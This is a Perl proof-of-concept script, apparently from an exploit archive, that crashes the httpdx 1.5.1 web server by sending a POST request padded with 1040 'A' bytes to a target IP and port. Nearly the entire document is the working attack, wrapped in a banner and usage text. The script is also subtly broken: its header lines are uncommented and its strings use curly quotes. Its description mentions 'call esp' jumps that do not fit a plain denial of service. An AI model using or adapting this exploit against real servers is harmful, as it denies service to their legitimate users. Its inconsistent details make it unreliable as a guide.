#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: httpdx 1.5.1 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 30 january 2024

Vendor Homepage: http://httpdx.sourceforge.net

Download to demo: https://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.1/

Notification vendor: No reported

Tested Version: httpdx 1.5.1 - Denial of Service (DoS)

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=EFtRwGVzx4s

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The web server does not correctly handle the amount of data or bytes sent.
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

    print "[+] Exploiting... \n";

my $sock = IO::Socket::INET->new(“$ip:$port”);

my $exploit = "\x41"x1040;

print $sock “POST /index2.html HTTP/1.0\r\n” .
“Content-Length: 1023\r\n” .
“Content-Type: html\r\n” .
“Host: $ip” . “\r\n” .
“\r\n” .
$exploit;

            print "[+] Done - Exploited success!!!!!\n\n";

 sub intro {  
  print q {

  ---------- # ------------------------------------------------------------------  
  --------- ##= -------------- [+] httpdx 1.5.1 - Denial of Service (DoS) -------  
  -------- ##=== ----------------------------------------------------------------  
  ------ ###==#=== --------------------------------------------------------------  
  ---- ####===##==== ------------------------------------------------------------  
  -- #####====###===== -----          Coded by Fernando Mengali             -----  
  - #####=====####===== -----        [email protected]            -----  
  - #####=====####===== ---------------------------------------------------------  
  --- ####=  #  #==== --------    Prepare to exploiting the server   ------------  
  --------- ##= -----------------------------------------------------------------  
  ------- ####=== ---------------------------------------------------------------

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "       \nUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}